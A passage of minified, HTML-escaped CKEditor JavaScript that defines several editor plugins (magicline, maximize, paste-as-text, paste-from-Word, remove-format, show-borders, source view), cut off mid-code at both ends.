g.outerWidth=c.$.offsetWidth;g.outerHeight=c.$.offsetHeight;g.height=g.outerHeight-(h.top+h.bottom+f.top+f.bottom);g.width=g.outerWidth-(h.left+h.right+f.left+f.right);g.bottom=g.top+g.outerHeight;g.right=g.left+g.outerWidth;a.inInlineMode&amp;&amp;(g.scroll={top:c.$.scrollTop,left:c.$.scrollLeft});return v({border:f,padding:h,margin:k,ignoreScroll:d},g,!0)}function r(a,c,d){if(!n(c))return c.size=null;if(!c.size)c.size={};else if(c.size.ignoreScroll==d&amp;&amp;c.size.date&gt;new Date-ga)return null;return v(c.size,
U(a,c,d),{date:+new Date},!0)}function H(a,c){a.view.editable=U(a,a.editable,c,!0)}function N(a,c){a.view||(a.view={});var d=a.view;if(!(!c&amp;&amp;d&amp;&amp;d.date&gt;new Date-ga)){var b=a.win,d=b.getScrollPosition(),b=b.getViewPaneSize();v(a.view,{scroll:{x:d.x,y:d.y,width:a.doc.$.documentElement.scrollWidth-b.width,height:a.doc.$.documentElement.scrollHeight-b.height},pane:{width:b.width,height:b.height,bottom:b.height+d.y},date:+new Date},!0)}}function pa(a,c,d,b){for(var e=b,f=b,k=0,h=!1,g=!1,l=a.view.pane.height,
p=a.mouse;p.y+k&lt;l&amp;&amp;0&lt;p.y-k;){h||(h=c(e,b));g||(g=c(f,b));!h&amp;&amp;0&lt;p.y-k&amp;&amp;(e=d(a,{x:p.x,y:p.y-k}));!g&amp;&amp;p.y+k&lt;l&amp;&amp;(f=d(a,{x:p.x,y:p.y+k}));if(h&amp;&amp;g)break;k+=2}return new z([e,f,null,null])}CKEDITOR.plugins.add(&quot;magicline&quot;,{init:function(a){var c=a.config,d=c.magicline_triggerOffset||30,b={editor:a,enterMode:c.enterMode,triggerOffset:d,holdDistance:0|d*(c.magicline_holdDistance||.5),boxColor:c.magicline_color||&quot;#ff0000&quot;,rtl:&quot;rtl&quot;==c.contentsLangDirection,tabuList:[&quot;data-cke-hidden-sel&quot;].concat(c.magicline_tabuList||
[]),triggers:c.magicline_everywhere?Z:{table:1,hr:1,div:1,ul:1,ol:1,dl:1,form:1,blockquote:1}},e,f,k;b.isRelevant=function(a){return n(a)&amp;&amp;!A(b,a)&amp;&amp;!u(a)};a.on(&quot;contentDom&quot;,function(){var d=a.editable(),g=a.document,l=a.window;v(b,{editable:d,inInlineMode:d.isInline(),doc:g,win:l,hotNode:null},!0);b.boundary=b.inInlineMode?b.editable:b.doc.getDocumentElement();d.is(B.$inline)||(b.inInlineMode&amp;&amp;!ba(d)&amp;&amp;d.setStyles({position:&quot;relative&quot;,top:null,left:null}),la.call(this,b),N(b),d.attachListener(a,&quot;beforeUndoImage&quot;,
function(){b.line.detach()}),d.attachListener(a,&quot;beforeGetData&quot;,function(){b.line.wrap.getParent()&amp;&amp;(b.line.detach(),a.once(&quot;getData&quot;,function(){b.line.attach()},null,null,1E3))},null,null,0),d.attachListener(b.inInlineMode?g:g.getWindow().getFrame(),&quot;mouseout&quot;,function(c){if(&quot;wysiwyg&quot;==a.mode)if(b.inInlineMode){var d=c.data.$.clientX;c=c.data.$.clientY;N(b);H(b,!0);var e=b.view.editable,f=b.view.scroll;d&gt;e.left-f.x&amp;&amp;d&lt;e.right-f.x&amp;&amp;c&gt;e.top-f.y&amp;&amp;c&lt;e.bottom-f.y||(clearTimeout(k),k=null,b.line.detach())}else clearTimeout(k),
k=null,b.line.detach()}),d.attachListener(d,&quot;keyup&quot;,function(){b.hiddenMode=0}),d.attachListener(d,&quot;keydown&quot;,function(c){if(&quot;wysiwyg&quot;==a.mode)switch(c.data.getKeystroke()){case 2228240:case 16:b.hiddenMode=1,b.line.detach()}}),d.attachListener(b.inInlineMode?d:g,&quot;mousemove&quot;,function(c){f=!0;if(&quot;wysiwyg&quot;==a.mode&amp;&amp;!a.readOnly&amp;&amp;!k){var d={x:c.data.$.clientX,y:c.data.$.clientY};k=setTimeout(function(){b.mouse=d;k=b.trigger=null;N(b);f&amp;&amp;!b.hiddenMode&amp;&amp;a.focusManager.hasFocus&amp;&amp;!b.line.mouseNear()&amp;&amp;(b.element=
ha(b,!0))&amp;&amp;((b.trigger=ca(b)||ea(b)||ia(b))&amp;&amp;!aa(b,b.trigger.upper||b.trigger.lower)?b.line.attach().place():(b.trigger=null,b.line.detach()),f=!1)},30)}}),d.attachListener(l,&quot;scroll&quot;,function(){&quot;wysiwyg&quot;==a.mode&amp;&amp;(b.line.detach(),t.webkit&amp;&amp;(b.hiddenMode=1,clearTimeout(e),e=setTimeout(function(){b.mouseDown||(b.hiddenMode=0)},50)))}),d.attachListener(ja?g:l,&quot;mousedown&quot;,function(){&quot;wysiwyg&quot;==a.mode&amp;&amp;(b.line.detach(),b.hiddenMode=1,b.mouseDown=1)}),d.attachListener(ja?g:l,&quot;mouseup&quot;,function(){b.hiddenMode=
0;b.mouseDown=0}),a.addCommand(&quot;accessPreviousSpace&quot;,Y(b)),a.addCommand(&quot;accessNextSpace&quot;,Y(b,!0)),a.setKeystroke([[c.magicline_keystrokePrevious,&quot;accessPreviousSpace&quot;],[c.magicline_keystrokeNext,&quot;accessNextSpace&quot;]]),a.on(&quot;loadSnapshot&quot;,function(){var c,d,e,f;for(f in{p:1,br:1,div:1})for(c=a.document.getElementsByTag(f),e=c.count();e--;)if((d=c.getItem(e)).data(&quot;cke-magicline-hot&quot;)){b.hotNode=d;b.lastCmdDirection=&quot;true&quot;===d.data(&quot;cke-magicline-dir&quot;)?!0:!1;return}}),this.backdoor={accessFocusSpace:S,
boxTrigger:z,isLine:A,getAscendantTrigger:O,getNonEmptyNeighbour:w,getSize:U,that:b,triggerEdge:ea,triggerEditable:ca,triggerExpand:ia})},this)}});var v=CKEDITOR.tools.extend,R=CKEDITOR.dom.element,G=R.createFromHtml,t=CKEDITOR.env,ja=CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version,B=CKEDITOR.dtd,K={},I=128,da=64,T=32,M=16,C=4,D=2,x=1,J=&quot; &quot;,fa=B.$listItem,oa=B.$tableContent,ma=v({},B.$nonEditable,B.$empty),Z=B.$block,ga=100,Q=&quot;width:0px;height:0px;padding:0px;margin:0px;display:block;z-index:9999;color:#fff;position:absolute;font-size: 0px;line-height:0px;&quot;,
X=Q+&quot;border-color:transparent;display:block;border-style:solid;&quot;,W=&quot;\x3cspan\x3e&quot;+J+&quot;\x3c/span\x3e&quot;;K[CKEDITOR.ENTER_BR]=&quot;br&quot;;K[CKEDITOR.ENTER_P]=&quot;p&quot;;K[CKEDITOR.ENTER_DIV]=&quot;div&quot;;z.prototype={set:function(a,c,d){this.properties=a+c+(d||x);return this},is:function(a){return(this.properties&amp;a)==a}};var ha=function(){function a(a,d){var b=a.$.elementFromPoint(d.x,d.y);return b&amp;&amp;b.nodeType?new CKEDITOR.dom.element(b):null}return function(c,d,b){if(!c.mouse)return null;var e=c.doc,f=c.line.wrap;b=b||c.mouse;
var k=a(e,b);d&amp;&amp;A(c,k)&amp;&amp;(f.hide(),k=a(e,b),f.show());return!k||k.type!=CKEDITOR.NODE_ELEMENT||!k.$||t.ie&amp;&amp;9&gt;t.version&amp;&amp;!c.boundary.equals(k)&amp;&amp;!c.boundary.contains(k)?null:k}}(),E=CKEDITOR.dom.walker.whitespaces(),F=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_COMMENT),ia=function(){function a(a){var b=a.element,e,f,k;if(!n(b)||b.contains(a.editable)||b.isReadOnly())return null;k=pa(a,function(a,b){return!b.equals(a)},function(a,b){return ha(a,!0,b)},b);e=k.upper;f=k.lower;if(V(a,e,f))return k.set(T,
8);if(e&amp;&amp;b.contains(e))for(;!e.getParent().equals(b);)e=e.getParent();else e=b.getFirst(function(b){return c(a,b)});if(f&amp;&amp;b.contains(f))for(;!f.getParent().equals(b);)f=f.getParent();else f=b.getLast(function(b){return c(a,b)});if(!e||!f)return null;r(a,e);r(a,f);if(!q(a.mouse.y,e.size.top,f.size.bottom))return null;for(var b=Number.MAX_VALUE,h,g,l,p;f&amp;&amp;!f.equals(e)&amp;&amp;(g=e.getNext(a.isRelevant));)h=Math.abs(ka(a,e,g)-a.mouse.y),h&lt;b&amp;&amp;(b=h,l=e,p=g),e=g,r(a,e);if(!l||!p||!q(a.mouse.y,l.size.top,p.size.bottom))return null;
k.upper=l;k.lower=p;return k.set(T,8)}function c(a,b){return!(b&amp;&amp;b.type==CKEDITOR.NODE_TEXT||F(b)||u(b)||A(a,b)||b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.$&amp;&amp;b.is(&quot;br&quot;))}return function(c){var b=a(c),e;if(e=b){e=b.upper;var f=b.lower;e=!e||!f||u(f)||u(e)||f.equals(e)||e.equals(f)||f.contains(e)||e.contains(f)?!1:L(c,e)&amp;&amp;L(c,f)&amp;&amp;V(c,e,f)?!0:!1}return e?b:null}}(),y=[&quot;top&quot;,&quot;left&quot;,&quot;right&quot;,&quot;bottom&quot;]})();CKEDITOR.config.magicline_keystrokePrevious=CKEDITOR.CTRL+CKEDITOR.SHIFT+51;
CKEDITOR.config.magicline_keystrokeNext=CKEDITOR.CTRL+CKEDITOR.SHIFT+52;(function(){function n(a){if(!a||a.type!=CKEDITOR.NODE_ELEMENT||&quot;form&quot;!=a.getName())return[];for(var e=[],f=[&quot;style&quot;,&quot;className&quot;],b=0;b&lt;f.length;b++){var c=a.$.elements.namedItem(f[b]);c&amp;&amp;(c=new CKEDITOR.dom.element(c),e.push([c,c.nextSibling]),c.remove())}return e}function t(a,e){if(a&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;form&quot;==a.getName()&amp;&amp;0&lt;e.length)for(var f=e.length-1;0&lt;=f;f--){var b=e[f][0],c=e[f][1];c?b.insertBefore(c):b.appendTo(a)}}function r(a,e){var f=n(a),b={},c=a.$;e||(b[&quot;class&quot;]=c.className||
&quot;&quot;,c.className=&quot;&quot;);b.inline=c.style.cssText||&quot;&quot;;e||(c.style.cssText=&quot;position: static; overflow: visible&quot;);t(f);return b}function u(a,e){var f=n(a),b=a.$;&quot;class&quot;in e&amp;&amp;(b.className=e[&quot;class&quot;]);&quot;inline&quot;in e&amp;&amp;(b.style.cssText=e.inline);t(f)}function v(a){if(!a.editable().isInline()){var e=CKEDITOR.instances,f;for(f in e){var b=e[f];&quot;wysiwyg&quot;!=b.mode||b.readOnly||(b=b.document.getBody(),b.setAttribute(&quot;contentEditable&quot;,!1),b.setAttribute(&quot;contentEditable&quot;,!0))}a.editable().hasFocus&amp;&amp;(a.toolbox.focus(),
a.focus())}}CKEDITOR.plugins.add(&quot;maximize&quot;,{init:function(a){function e(){var b=c.getViewPaneSize();a.resize(b.width,b.height,null,!0)}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=a.lang,b=CKEDITOR.document,c=b.getWindow(),l,m,p,n=CKEDITOR.TRISTATE_OFF;a.addCommand(&quot;maximize&quot;,{modes:{wysiwyg:!CKEDITOR.env.iOS,source:!CKEDITOR.env.iOS},readOnly:1,editorFocus:!1,exec:function(){var h=a.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasClass(&quot;cke_inner&quot;)}),g=a.ui.space(&quot;contents&quot;);
if(&quot;wysiwyg&quot;==a.mode){var d=a.getSelection();l=d&amp;&amp;d.getRanges();m=c.getScrollPosition()}else{var k=a.editable().$;l=!CKEDITOR.env.ie&amp;&amp;[k.selectionStart,k.selectionEnd];m=[k.scrollLeft,k.scrollTop]}if(this.state==CKEDITOR.TRISTATE_OFF){c.on(&quot;resize&quot;,e);p=c.getScrollPosition();for(d=a.container;d=d.getParent();)d.setCustomData(&quot;maximize_saved_styles&quot;,r(d)),d.setStyle(&quot;z-index&quot;,a.config.baseFloatZIndex-5);g.setCustomData(&quot;maximize_saved_styles&quot;,r(g,!0));h.setCustomData(&quot;maximize_saved_styles&quot;,r(h,!0));
g={overflow:CKEDITOR.env.webkit?&quot;&quot;:&quot;hidden&quot;,width:0,height:0};b.getDocumentElement().setStyles(g);!CKEDITOR.env.gecko&amp;&amp;b.getDocumentElement().setStyle(&quot;position&quot;,&quot;fixed&quot;);CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.quirks||b.getBody().setStyles(g);CKEDITOR.env.ie?setTimeout(function(){c.$.scrollTo(0,0)},0):c.$.scrollTo(0,0);h.setStyle(&quot;position&quot;,CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.quirks?&quot;fixed&quot;:&quot;absolute&quot;);h.$.offsetLeft;h.setStyles({&quot;z-index&quot;:a.config.baseFloatZIndex-5,left:&quot;0px&quot;,top:&quot;0px&quot;});h.addClass(&quot;cke_maximized&quot;);
e();g=h.getDocumentPosition();h.setStyles({left:-1*g.x+&quot;px&quot;,top:-1*g.y+&quot;px&quot;});CKEDITOR.env.gecko&amp;&amp;v(a)}else if(this.state==CKEDITOR.TRISTATE_ON){c.removeListener(&quot;resize&quot;,e);for(var d=[g,h],q=0;q&lt;d.length;q++)u(d[q],d[q].getCustomData(&quot;maximize_saved_styles&quot;)),d[q].removeCustomData(&quot;maximize_saved_styles&quot;);for(d=a.container;d=d.getParent();)u(d,d.getCustomData(&quot;maximize_saved_styles&quot;)),d.removeCustomData(&quot;maximize_saved_styles&quot;);CKEDITOR.env.ie?setTimeout(function(){c.$.scrollTo(p.x,p.y)},0):c.$.scrollTo(p.x,
p.y);h.removeClass(&quot;cke_maximized&quot;);CKEDITOR.env.webkit&amp;&amp;(h.setStyle(&quot;display&quot;,&quot;inline&quot;),setTimeout(function(){h.setStyle(&quot;display&quot;,&quot;block&quot;)},0));a.fire(&quot;resize&quot;,{outerHeight:a.container.$.offsetHeight,contentsHeight:g.$.offsetHeight,outerWidth:a.container.$.offsetWidth})}this.toggleState();if(d=this.uiItems[0])g=this.state==CKEDITOR.TRISTATE_OFF?f.maximize.maximize:f.maximize.minimize,d=CKEDITOR.document.getById(d._.id),d.getChild(1).setHtml(g),d.setAttribute(&quot;title&quot;,g),d.setAttribute(&quot;href&quot;,&#039;javascript:void(&quot;&#039;+
g+&#039;&quot;);&#039;);&quot;wysiwyg&quot;==a.mode?l?(CKEDITOR.env.gecko&amp;&amp;v(a),a.getSelection().selectRanges(l),(k=a.getSelection().getStartElement())&amp;&amp;k.scrollIntoView(!0)):c.$.scrollTo(m.x,m.y):(l&amp;&amp;(k.selectionStart=l[0],k.selectionEnd=l[1]),k.scrollLeft=m[0],k.scrollTop=m[1]);l=m=null;n=this.state;a.fire(&quot;maximize&quot;,this.state)},canUndo:!1});a.ui.addButton&amp;&amp;a.ui.addButton(&quot;Maximize&quot;,{label:f.maximize.maximize,command:&quot;maximize&quot;,toolbar:&quot;tools,10&quot;});a.on(&quot;mode&quot;,function(){var b=a.getCommand(&quot;maximize&quot;);b.setState(b.state==
CKEDITOR.TRISTATE_DISABLED?CKEDITOR.TRISTATE_DISABLED:n)},null,null,100)}}})})();(function(){var f={canUndo:!1,async:!0,exec:function(a,b){var c=a.lang,e=CKEDITOR.tools.keystrokeToString(c.common.keyboard,a.getCommandKeystroke(CKEDITOR.env.ie?a.commands.paste:this)),d=b&amp;&amp;&quot;undefined&quot;!==typeof b.notification?b.notification:!b||!b.from||&quot;keystrokeHandler&quot;===b.from&amp;&amp;CKEDITOR.env.ie,c=d&amp;&amp;&quot;string&quot;===typeof d?d:c.pastetext.pasteNotification.replace(/%1/,&#039;\x3ckbd aria-label\x3d&quot;&#039;+e.aria+&#039;&quot;\x3e&#039;+e.display+&quot;\x3c/kbd\x3e&quot;);a.execCommand(&quot;paste&quot;,{type:&quot;text&quot;,notification:d?c:!1})}};CKEDITOR.plugins.add(&quot;pastetext&quot;,
{requires:&quot;clipboard&quot;,init:function(a){var b=CKEDITOR.env.safari?CKEDITOR.CTRL+CKEDITOR.ALT+CKEDITOR.SHIFT+86:CKEDITOR.CTRL+CKEDITOR.SHIFT+86;a.addCommand(&quot;pastetext&quot;,f);a.setKeystroke(b,&quot;pastetext&quot;);CKEDITOR.plugins.clipboard.addPasteButton(a,&quot;PasteText&quot;,{label:a.lang.pastetext.button,command:&quot;pastetext&quot;,toolbar:&quot;clipboard,40&quot;});if(a.config.forcePasteAsPlainText)a.on(&quot;beforePaste&quot;,function(a){&quot;html&quot;!=a.data.type&amp;&amp;(a.data.type=&quot;text&quot;)});a.on(&quot;pasteState&quot;,function(b){a.getCommand(&quot;pastetext&quot;).setState(b.data)})}})})();(function(){function l(a,f,e){var h=CKEDITOR.cleanWord;h?e():(a=CKEDITOR.getUrl(a.config.pasteFromWordCleanupFile||f+&quot;filter/default.js&quot;),CKEDITOR.scriptLoader.load(a,e,null,!0));return!h}CKEDITOR.plugins.add(&quot;pastefromword&quot;,{requires:&quot;clipboard&quot;,init:function(a){function f(a){var b=CKEDITOR.plugins.pastefromword&amp;&amp;CKEDITOR.plugins.pastefromword.images,c,d=[];if(b&amp;&amp;a.editor.filter.check(&quot;img[src]&quot;)&amp;&amp;(c=b.extractTagsFromHtml(a.data.dataValue),0!==c.length&amp;&amp;(b=b.extractFromRtf(a.data.dataTransfer[&quot;text/rtf&quot;]),
0!==b.length&amp;&amp;(CKEDITOR.tools.array.forEach(b,function(a){d.push(a.type?&quot;data:&quot;+a.type+&quot;;base64,&quot;+CKEDITOR.tools.convertBytesToBase64(CKEDITOR.tools.convertHexStringToBytes(a.hex)):null)},this),c.length===d.length))))for(b=0;b&lt;c.length;b++)0===c[b].indexOf(&quot;file://&quot;)&amp;&amp;d[b]&amp;&amp;(a.data.dataValue=a.data.dataValue.replace(c[b],d[b]))}var e=0,h=this.path,m=void 0===a.config.pasteFromWord_inlineImages?!0:a.config.pasteFromWord_inlineImages;a.addCommand(&quot;pastefromword&quot;,{canUndo:!1,async:!0,exec:function(a,
b){e=1;a.execCommand(&quot;paste&quot;,{type:&quot;html&quot;,notification:b&amp;&amp;&quot;undefined&quot;!==typeof b.notification?b.notification:!0})}});CKEDITOR.plugins.clipboard.addPasteButton(a,&quot;PasteFromWord&quot;,{label:a.lang.pastefromword.toolbar,command:&quot;pastefromword&quot;,toolbar:&quot;clipboard,50&quot;});a.on(&quot;paste&quot;,function(f){var b=f.data,c=CKEDITOR.plugins.clipboard.isCustomDataTypesSupported?b.dataTransfer.getData(&quot;text/html&quot;,!0):null,d=CKEDITOR.plugins.clipboard.isCustomDataTypesSupported?b.dataTransfer.getData(&quot;text/rtf&quot;):null,c=c||
b.dataValue,g={dataValue:c,dataTransfer:{&quot;text/rtf&quot;:d}},d=/(class=\&quot;?Mso|style=(?:\&quot;|\&#039;)[^\&quot;]*?\bmso\-|w:WordDocument|&lt;o:\w+&gt;|&lt;\/font&gt;)/,d=/&lt;meta\s*name=(?:\&quot;|\&#039;)?generator(?:\&quot;|\&#039;)?\s*content=(?:\&quot;|\&#039;)?microsoft/gi.test(c)||d.test(c);if(c&amp;&amp;(e||d)&amp;&amp;(!1!==a.fire(&quot;pasteFromWord&quot;,g)||e)){b.dontFilter=!0;var k=l(a,h,function(){if(k)a.fire(&quot;paste&quot;,b);else if(!a.config.pasteFromWordPromptCleanup||e||confirm(a.lang.pastefromword.confirmCleanup))g.dataValue=CKEDITOR.cleanWord(g.dataValue,a),a.fire(&quot;afterPasteFromWord&quot;,
g),b.dataValue=g.dataValue,!0===a.config.forcePasteAsPlainText?b.type=&quot;text&quot;:CKEDITOR.plugins.clipboard.isCustomCopyCutSupported||&quot;allow-word&quot;!==a.config.forcePasteAsPlainText||(b.type=&quot;html&quot;);e=0});k&amp;&amp;f.cancel()}},null,null,3);if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported&amp;&amp;m)a.on(&quot;afterPasteFromWord&quot;,f)}})})();CKEDITOR.plugins.add(&quot;removeformat&quot;,{init:function(a){a.addCommand(&quot;removeFormat&quot;,CKEDITOR.plugins.removeformat.commands.removeformat);a.ui.addButton&amp;&amp;a.ui.addButton(&quot;RemoveFormat&quot;,{label:a.lang.removeformat.toolbar,command:&quot;removeFormat&quot;,toolbar:&quot;cleanup,10&quot;})}});
CKEDITOR.plugins.removeformat={commands:{removeformat:{exec:function(a){for(var h=a._.removeFormatRegex||(a._.removeFormatRegex=new RegExp(&quot;^(?:&quot;+a.config.removeFormatTags.replace(/,/g,&quot;|&quot;)+&quot;)$&quot;,&quot;i&quot;)),d=a._.removeAttributes||(a._.removeAttributes=a.config.removeFormatAttributes.split(&quot;,&quot;)),f=CKEDITOR.plugins.removeformat.filter,p=a.getSelection().getRanges().createIterator(),q=function(a){return a.type==CKEDITOR.NODE_ELEMENT},n=[],c;c=p.getNextRange();){var k=c.createBookmark();c=a.createRange();
c.setStartBefore(k.startNode);k.endNode&amp;&amp;c.setEndAfter(k.endNode);c.collapsed||c.enlarge(CKEDITOR.ENLARGE_ELEMENT);var e=c.createBookmark(),b=e.startNode,l=e.endNode,m=function(b){for(var c=a.elementPath(b),e=c.elements,d=1,g;(g=e[d])&amp;&amp;!g.equals(c.block)&amp;&amp;!g.equals(c.blockLimit);d++)h.test(g.getName())&amp;&amp;f(a,g)&amp;&amp;b.breakParent(g)};m(b);if(l)for(m(l),b=b.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT);b&amp;&amp;!b.equals(l);)if(b.isReadOnly()){if(b.getPosition(l)&amp;CKEDITOR.POSITION_CONTAINS)break;b=b.getNext(q)}else m=
b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT),&quot;img&quot;==b.getName()&amp;&amp;b.data(&quot;cke-realelement&quot;)||b.hasAttribute(&quot;data-cke-bookmark&quot;)||!f(a,b)||(h.test(b.getName())?b.remove(1):(b.removeAttributes(d),a.fire(&quot;removeFormatCleanup&quot;,b))),b=m;e.startNode.remove();e.endNode&amp;&amp;e.endNode.remove();c.moveToBookmark(k);n.push(c)}a.forceNextSelectionCheck();a.getSelection().selectRanges(n)}}},filter:function(a,h){for(var d=a._.removeFormatFilters||[],f=0;f&lt;d.length;f++)if(!1===d[f](h))return!1;return!0}};
CKEDITOR.editor.prototype.addRemoveFormatFilter=function(a){this._.removeFormatFilters||(this._.removeFormatFilters=[]);this._.removeFormatFilters.push(a)};CKEDITOR.config.removeFormatTags=&quot;b,big,cite,code,del,dfn,em,font,i,ins,kbd,q,s,samp,small,span,strike,strong,sub,sup,tt,u,var&quot;;CKEDITOR.config.removeFormatAttributes=&quot;class,style,lang,width,height,align,hspace,valign&quot;;(function(){var f={preserveState:!0,editorFocus:!1,readOnly:1,exec:function(a){this.toggleState();this.refresh(a)},refresh:function(a){if(a.document){var b=this.state==CKEDITOR.TRISTATE_ON?&quot;attachClass&quot;:&quot;removeClass&quot;;a.editable()[b](&quot;cke_show_borders&quot;)}}};CKEDITOR.plugins.add(&quot;showborders&quot;,{modes:{wysiwyg:1},onLoad:function(){var a;a=(CKEDITOR.env.ie6Compat?[&quot;.%1 table.%2,&quot;,&quot;.%1 table.%2 td, .%1 table.%2 th&quot;,&quot;{&quot;,&quot;border : #d3d3d3 1px dotted&quot;,&quot;}&quot;]:&quot;.%1 table.%2,;.%1 table.%2 \x3e tr \x3e td, .%1 table.%2 \x3e tr \x3e th,;.%1 table.%2 \x3e tbody \x3e tr \x3e td, .%1 table.%2 \x3e tbody \x3e tr \x3e th,;.%1 table.%2 \x3e thead \x3e tr \x3e td, .%1 table.%2 \x3e thead \x3e tr \x3e th,;.%1 table.%2 \x3e tfoot \x3e tr \x3e td, .%1 table.%2 \x3e tfoot \x3e tr \x3e th;{;border : #d3d3d3 1px dotted;}&quot;.split(&quot;;&quot;)).join(&quot;&quot;).replace(/%2/g,
&quot;cke_show_border&quot;).replace(/%1/g,&quot;cke_show_borders &quot;);CKEDITOR.addCss(a)},init:function(a){var b=a.addCommand(&quot;showborders&quot;,f);b.canUndo=!1;!1!==a.config.startupShowBorders&amp;&amp;b.setState(CKEDITOR.TRISTATE_ON);a.on(&quot;mode&quot;,function(){b.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;b.refresh(a)},null,null,100);a.on(&quot;contentDom&quot;,function(){b.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;b.refresh(a)});a.on(&quot;removeFormatCleanup&quot;,function(d){d=d.data;a.getCommand(&quot;showborders&quot;).state==CKEDITOR.TRISTATE_ON&amp;&amp;d.is(&quot;table&quot;)&amp;&amp;(!d.hasAttribute(&quot;border&quot;)||
0&gt;=parseInt(d.getAttribute(&quot;border&quot;),10))&amp;&amp;d.addClass(&quot;cke_show_border&quot;)})},afterInit:function(a){var b=a.dataProcessor;a=b&amp;&amp;b.dataFilter;b=b&amp;&amp;b.htmlFilter;a&amp;&amp;a.addRules({elements:{table:function(a){a=a.attributes;var b=a[&quot;class&quot;],c=parseInt(a.border,10);c&amp;&amp;!(0&gt;=c)||b&amp;&amp;-1!=b.indexOf(&quot;cke_show_border&quot;)||(a[&quot;class&quot;]=(b||&quot;&quot;)+&quot; cke_show_border&quot;)}}});b&amp;&amp;b.addRules({elements:{table:function(a){a=a.attributes;var b=a[&quot;class&quot;];b&amp;&amp;(a[&quot;class&quot;]=b.replace(&quot;cke_show_border&quot;,&quot;&quot;).replace(/\s{2}/,&quot; &quot;).replace(/^\s+|\s+$/,
&quot;&quot;))}}})}});CKEDITOR.on(&quot;dialogDefinition&quot;,function(a){var b=a.data.name;if(&quot;table&quot;==b||&quot;tableProperties&quot;==b)if(a=a.data.definition,b=a.getContents(&quot;info&quot;).get(&quot;txtBorder&quot;),b.commit=CKEDITOR.tools.override(b.commit,function(a){return function(b,c){a.apply(this,arguments);var e=parseInt(this.getValue(),10);c[!e||0&gt;=e?&quot;addClass&quot;:&quot;removeClass&quot;](&quot;cke_show_border&quot;)}}),a=(a=a.getContents(&quot;advanced&quot;))&amp;&amp;a.get(&quot;advCSSClasses&quot;))a.setup=CKEDITOR.tools.override(a.setup,function(a){return function(){a.apply(this,
arguments);this.setValue(this.getValue().replace(/cke_show_border/,&quot;&quot;))}}),a.commit=CKEDITOR.tools.override(a.commit,function(a){return function(b,c){a.apply(this,arguments);parseInt(c.getAttribute(&quot;border&quot;),10)||c.addClass(&quot;cke_show_border&quot;)}})})})();(function(){CKEDITOR.plugins.add(&quot;sourcearea&quot;,{init:function(a){function d(){var a=e&amp;&amp;this.equals(CKEDITOR.document.getActive());this.hide();this.setStyle(&quot;height&quot;,this.getParent().$.clientHeight+&quot;px&quot;);this.setStyle(&quot;width&quot;,this.getParent().$.clientWidth+&quot;px&quot;);this.show();a&amp;&amp;this.focus()}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=CKEDITOR.plugins.sourcearea;a.addMode(&quot;source&quot;,function(e){var b=a.ui.space(&quot;contents&quot;).getDocument().createElement(&quot;textarea&quot;);b.setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?
&quot;99%&quot;:&quot;100%&quot;,height:&quot;100%&quot;,resize:&quot;none&quot;,outline:&quot;none&quot;,&quot;text-align&quot;:&quot;left&quot;},CKEDITOR.tools.cssVendorPrefix(&quot;tab-size&quot;,a.config.sourceAreaTabSize||4)));b.setAttribute(&quot;dir&quot;,&quot;ltr&quot;);b.addClass(&quot;cke_source&quot;).addClass(&quot;cke_reset&quot;).addClass(&quot;cke_enable_context_menu&quot;);a.ui.space(&quot;contents&quot;).append(b);b=a.editable(new c(a,b));b.setData(a.getData(1));CKEDITOR.env.ie&amp;&amp;(b.attachListener(a,&quot;resize&quot;,d,b),b.attachListener(CKEDITOR.document.getWindow(),&quot;resize&quot;,d,b),CKEDITOR.tools.setTimeout(d,0,b));a.fire(&quot;ariaWidget&quot;,
this);e()});a.addCommand(&quot;source&quot;,f.commands.source);a.ui.addButton&amp;&amp;a.ui.addButton(&quot;Source&quot;,{label:a.lang.sourcearea.toolbar,command:&quot;source&quot;,toolbar:&quot;mode,10&quot;});a.on(&quot;mode&quot;,function(){a.getCommand(&quot;source&quot;).setState(&quot;source&quot;==a.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)});var e=CKEDITOR.env.ie&amp;&amp;9==CKEDITOR.env.version}}});var c=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(a){this.setValue(a);this.status=&quot;ready&quot;;this.editor.fire(&quot;dataReady&quot;)},getData:function(){return this.getValue()},
insertHtml:function(){},insertElement:function(){},insertText:function(){},setReadOnly:function(a){this[(a?&quot;set&quot;:&quot;remove&quot;)+&quot;Attribute&quot;](&quot;readOnly&quot;,&quot;readonly&quot;)},detach:function(){c.baseProto.detach.call(this);this.clearCustomData();this.remove()}}})})();
CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(c){&quot;wysiwyg&quot;==c.mode&amp;&amp;c.fire(&quot;saveSnapshot&quot;);c.getCommand(&quot;source&quot;).setState(CKEDITOR.TRISTATE_DISABLED);c.setMode(&quot;source&quot;==c.mode?&quot;wysiwyg&quot;:&quot;source&quot;)},canUndo:!1}}};CKEDITOR.plugins.add(&quot;specialchar&quot;,{availableLangs:{af:1,ar:1,az:1,bg:1,ca:1,cs:1,cy:1,da:1,de:1,&quot;de-ch&quot;:1,el:1,en:1,&quot;en-au&quot;:1,&quot;en-ca&quot;:1,&quot;en-gb&quot;:1,eo:1,es:1,&quot;es-mx&quot;:1,et:1,eu:1,fa:1,fi:1,fr:1,&quot;fr-ca&quot;:1,gl:1,he:1,hr:1,hu:1,id:1,it:1,ja:1,km:1,ko:1,ku:1,lt:1,lv:1,nb:1,nl:1,no:1,oc:1,pl:1,pt:1,&quot;pt-br&quot;:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,zh:1,&quot;zh-cn&